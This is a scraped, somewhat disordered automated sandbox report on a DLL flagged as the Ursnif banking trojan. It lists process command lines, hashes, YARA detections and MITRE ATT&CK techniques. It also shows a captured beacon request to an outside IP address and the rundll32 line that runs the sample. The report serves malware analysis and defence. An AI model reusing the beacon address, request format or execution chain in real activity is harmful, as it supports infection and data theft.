Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49828	31.214.157.187	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:06:38.188649893 CET	18611	OUT	GET /drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8cGXljg/dR5mjLhLFYJj3437/sCPrzkqYN8vu4UK/Lv8bHqBMBEjz1n4JUX/xuOm6McxD/U7cQGMW7Bxk_2BVYpR1Y/2dwD1RGZgWHtptGZcjA/6KkSFpd8oqg4xHg9j8CKKi/XQJvRiHHSuj0_/2BwWvoV7/60l_2BahFJ3qIHK1CvN87c7/jOCSFwu.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 31.214.157.187
Jan 26, 2022 17:06:38.456873894 CET	18611	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:06:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Target ID:	0
Start time:	17:03:03
Start date:	26/01/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll"
Imagebase:	0x8b0000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: cmd.exePID: 5904, Parent PID: 988

General

Target ID:	1
Start time:	17:03:04
Start date:	26/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exePID: 3272, Parent PID: 5904

General

Target ID:	3
Start time:	17:03:04
Start date:	26/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1
Imagebase:	0x1360000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: WerFault.exePID: 4496, Parent PID: 3272

General

Target ID:	7
Start time:	17:03:07
Start date:	26/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3272 -s 684
Imagebase:	0x930000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hFGZpat9Mf.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary

Jbx Signature Overview

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_319baef4101f2973dda1833cdb25524ddf68727_82810a17_11720b30\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER410A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5399.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6656.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
hFGZpat9Mf.dll

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre